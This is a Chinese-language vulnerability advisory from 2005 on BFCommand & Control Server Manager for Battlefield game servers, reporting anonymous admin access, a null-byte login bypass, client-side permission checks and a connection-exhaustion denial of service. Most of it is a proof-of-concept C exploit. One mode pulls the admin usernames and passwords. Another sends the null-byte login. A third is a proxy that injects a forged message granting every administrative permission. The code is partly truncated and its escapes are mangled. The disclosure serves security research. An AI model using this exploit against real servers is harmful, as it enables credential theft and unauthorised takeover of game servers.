BFCommand & Control Server Manager多个远程安全漏洞
来源：岁月联盟
时间：2005-08-31
更新日期：2005-08-30
受影响系统：
BFCommand & Control Software BFVCC 2.14 _B描述：
BFCommand & Control Software BFVCC 2.0 0_A
BFCommand & Control Software BFCC 1.22 _A
BUGTRAQ ID: 14690
BFCommand & Control Server Manager是游戏 Battlefield 1942（BFCC）、Battlefield Vietnam（BFVCC）和Battlefield 2（BF2CC）的服务程序管理器。
BFCC和BFVCC服务程序管理器中存在多个漏洞：
------------------------------
A] 匿名登录
------------------------------
用户可以连接到服务程序管理器，以“Super Admin”权限完全控制。
-------------------------------------
B] 通过空用户名绕过登录
-------------------------------------
用户名字段中的空字节（0x00）可以绕过认证，服务器会允许安全者访问：
"login" "/x1e" // command
"/0" "/x1e" // username (NULL byte)
"none" "/x1e" // password
"none" "/x1e" // username
"" "/x1e" // ???
"" // ???
"/x00/x40/x40/x00" // command delimiter
-------------------------------------------
C] 客户端获得完全权限
-------------------------------------------
服务程序在连接的客户端实现访问控制、权限和其他命令，这就允许安全者获得完全的管理访问。
--------------------------------------------
D] 连续连接后服务器拒绝服务
--------------------------------------------
如果客户端没有发送“login”命令的话，服务器就认为连接处于空闲状态。如果达到了20个连接的上限的话，服务器就会拒绝服务。
<*来源：Luigi Auriemma （aluigi@pivx.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=112534155318828&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有安全性，仅供安全研究与教学之用。使用者风险自负！
by Luigi Auriemma
*/
#include
#include
#include
#include
#ifdef WIN32
#include
#include "winerr.h"
#define close closesocket
#else
#include
#include
#include
#include
if((attack < 1) || (attack > 4)) {
fputs("/nError: you must choose a number between the range of available attacks/n/n", stdout);
exit(1);
}
if(attack == 4) {
fputs("/n"
"Download the tool /"Generic TCP Fake Players DoS/" from here:/n"
"/n"
" http://aluigi.altervista.org/fakep/tcpfp.zip/n"
"/n"
"Launch it with the following arguments/n"
"/n"
" tcpfp -r full 127.0.0.1 5555/n"
"/n"
"substituiting 127.0.0.1 and 5555 with the server and port of the server you/n"
"want to test./n"
"/n", stdout);
return(0);
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
while(scan--) {
printf("- target %s : %hu/n",
inet_ntoa(peer.sin_addr), port);
len = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(!len) break;
fputs(" no service available on this port/n", stdout);
peer.sin_port = htons(++port);
}
if(len < 0) std_err();
if(attack == 1) {
fputs("- receive server's informations:/n", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);
fputs("- send anonymous GetUserAccounts commands/n", stdout);
send_bfcc(sd, "GetUserAccounts", NULL);
fputs(
"- receive full list of admin usernames and passwords/n"
" Username Password:/n", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);
} else if(attack == 2) {
fputs("- receive server's informations:/n", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);
fputs("- send login command with NULL nickname/n", stdout);
send_bfcc(sd,
"login",
"/0", // BUG exploited here
"password",
"username",
"???",
"",
NULL);
fputs("- check for success message:/n", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);
} else if(attack == 3) {
proxy(sd, buff, BUFFSZ);
}
close(sd);
free(buff);
return(0);
}
void proxy(int sock, u_char *buff, int size) {
struct sockaddr_in peer;
fd_set readset;
int sdl,
sda,
on = 1,
len,
psz,
selsock;
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(MYPORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("- bind port %hu/n", MYPORT);
sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sdl < 0) std_err();
if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sdl, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(listen(sdl, SOMAXCONN)
< 0) std_err();
printf("- launch BFC3 or BFVC3 and sets %s as server and %hu as port/n",
"127.0.0.1", MYPORT);
sda = accept(sdl, (struct sockaddr *)&peer, &psz);
if(sda < 0) std_err();
printf("- connected/n");
send_bfcc(sda, // enable everything
"master",
"null/null/null/0/Map_True/"
"Action-Warn" "/xff" "1" "/xff"
"Action-Kick" "/xff" "1" "/xff"
"Action-Insta-Kick (No Reason)" "/xff" "1" "/xff"
"Action-Ban" "/xff" "1" "/xff"
"Action-Insta-Ban (No Reason)" "/xff" "1" "/xff"
"Action-Remove Ban" "/xff" "1" "/xff"
"Action-Clear Banlist" "/xff" "1" "/xff"
"Action-Force to Other Team" "/xff" "1" "/xff"
"Action-Kill Player" "/xff" "1" "/xff"
"Action-Send Message to Server" "/xff" "1" "/xff"
"Game-Pause" "/xff" "1" "/xff"
"Game-Toggle Auto-Balance" "/xff" "1" "/xff"
"Action-Request PB Screenshot" "/xff" "1" "/xff"
"BFVC3-Maps Change Maps" "/xff" "1" "/xff"
"BFVC3-Maps Change 2 Map NOT in " "/xff" "1" "/xff"
"BFVC3-Maps Restart Map" "/xff" "1" "/xff"
"BFVC3-Maps Set Next Map" "/xff" "1" "/xff"
"BFVC3-Admin Change Server Settings" "/xff" "1" "/xff"
"BFVC3-Admin Change FF Settings" "/xff" "1" "/xff"
"BFVC3-Admin Change Misc Settings" "/xff" "1" "/xff"
"BFVC3-Admin Change Voting Settings" "/xff" "1" "/xff"
"USERS-Access User Accounts" "/xff" "1" "/xff"
"USERS-Edit User Profiles" "/xff" "1" "/xff"
"USERS-Create User" "/xff" "1" "/xff"
"USERS-Edit User" "/xff" "1" "/xff"
"USERS-Delete User" "/xff" "1" "/xff"
"BFVCC-Access Manager Control Panel" "/xff" "1" "/xff"
"BFVCC-Access to Auto Admin Settings" "/xff" "1" "/xff"
"BFVCC-Load Manager Profiles" "/xff" "1" "/xff"
"BFVCC-Save Changes to Profiles" "/xff" "1" "/xff"
"BFVCC-Create Manager Profiles" "/xff" "1" "/xff"
"BFVCC-Delete Manager Profiles" "/xff" "1" "/xff"
"CC-Access the CC Editor" "/xff" "1" "/xff"
"CC-Save Changes to CC Profiles" "/xff" "1" "/xff"
"CC-Create new CC Profiles" "/xff" "1" "/xff"
"CC-Delete CC Profile" "/xff" "1" "/xff"
"CC-Change a Maps CC Profile" "/xff" "1" "/xff"
"PB-Edit PB Config Files" "/xff" "1" "/xff",
"15567", // default server port (useless)
"admin" "/xff", // username (useless)
"True",
"Super Admin", // profile
"0",
NULL);
selsock = ((sock > sda) ? sock : sda) + 1;
for(;;) {
FD_ZERO(&readset);
FD_SET(sock, &readset);
FD_SET(sda, &readset);
if(select(selsock, &readset, NULL, NULL, NULL)
< 0) std_err();
if(FD_ISSET(sda, &readset)) {
len = recv_bfcc(sda, buff, size);
fwrite(buff, len, 1, stdout);
if(check_drop(buff)) continue;
len = send(sock, buff, len, 0);
if(len < 0) std_err();
}
if(FD_ISSET(sock, &readset)) {
len = recv_bfcc(sock, buff, size);
fwrite(buff, len, 1, stdout);
if(check_drop(buff)) continue;
len = send(sda, buff, len, 0);
if(len < 0) std_err();
}
}
close(sda);
close(sdl);
}
int check_drop(u_char *cmd) {
int i;
u_char *p,
*drop[] = {
"login",
"Boot",
"loginfailed",
NULL
};
p = strchr(cmd, DEL);
if(!p) {
p = strchr(cmd, END[0]);
if(!p) return(0);
}
for(i = 0; drop[i]; i++) {
if(!strncmp(cmd, drop[i], p - cmd)) return(1);
}
return(0);
}
void show_bfcc(u_char *buff, int len) {
u_char *p,
*l,
*limit = buff + len;
for(p = buff; p < limit; p = l + 1) {
for(l = p; *l != DEL; l++) {
if(!memcmp(l, END, 4)) return;
if(!memcmp(l, "|;|", 3)) {
if(*(l - 1) == '/t') *(l - 1) = ' ';
memcpy(l, "/n ", 3);
}
}
*l = 0;
printf(" %s/n", p);
}
}
void send_bfcc(int sock, ...) { // final NULL required
va_list ap;
int len;
u_char *s;
va_start(ap, sock);
s = va_arg(ap, u_char *);
if(s) {
for(;;) {
len = strlen(s);
if(!len) len++;
send(sock, s, len, 0);
s = va_arg(ap, u_char *);
if(!s) break;
send(sock, "/x1e", 1, 0);
}
}
va_end(ap);
send(sock, END, 4, 0);
}
int recv_bfcc(int sock, u_char *buff, int size) {
int len = 0;
// one command at time, slower but better
while(len < size) {
if(recv(sock, buff + len, 1, 0) <= 0) {
fputs("/nError: connection interrupted/n/n", stdout);
exit(1);
}
len++;
if(!memcmp(buff + len - 4, END, 4)) break;
}
if(len == size) {
fputs("/nError: command too long/n/n", stdout);
exit(1);
}
return(len);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("/nError: Unable to resolve hostname (%s)/n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("/nError");
exit(1);
}
#endif
建议：
厂商补丁：
BFCommand & Control Software
----------------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.bfcommandcontrol.org/
